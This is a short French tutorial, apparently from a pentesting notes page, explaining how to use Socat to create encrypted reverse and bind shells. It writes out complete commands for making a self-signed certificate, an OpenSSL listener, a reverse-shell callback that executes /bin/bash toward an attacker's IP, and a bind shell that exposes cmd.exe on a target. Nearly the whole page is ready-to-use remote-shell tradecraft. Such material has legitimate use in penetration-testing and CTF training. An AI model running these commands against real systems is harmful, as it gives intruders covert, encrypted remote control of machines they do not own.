😼Socat
Socat est un outil puissant permettant de créer des connexions bidirectionnelles entre deux points. Dans ce tutoriel, nous allons explorer comment utiliser Socat pour créer des shells chiffrés, à la fois liés et inversés.
🔒 Génération d'un Certificat pour les Shells Chiffrés
Avant de commencer, générons un certificat pour sécuriser nos connexions :
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
Cette commande crée une clé RSA de 2 048 bits avec un fichier de certificat auto-signé, valide pour moins d'un an. Vous serez invité à fournir des informations sur le certificat, qui peuvent être laissées vides ou remplies de manière aléatoire.
Combinons ensuite les deux fichiers créés en un seul fichier .pem :
cat shell.key shell.crt > shell.pem
🔒 Shell Inversé Chiffré
Pour configurer un écouteur de shell inversé chiffré, utilisez :
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
Ceci configure un écouteur Socat avec OpenSSL, utilisant notre certificat généré. L'option verify=0
indique à la connexion de ne pas essayer de valider que notre certificat a été correctement signé par une autorité reconnue.
Pour vous reconnecter, utilisez :
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
🔒 Bind Shell Chiffré
Pour configurer un shell lié chiffré sur la cible (par exemple, sur Windows avec cmd.exe), utilisez :
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
Sur l'attaquant, utilisez :
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
Encore une fois, notez que le certificat doit être utilisé sur l'écouteur, donc assurez-vous de copier le fichier PEM sur la cible pour un shell lié.
Last updated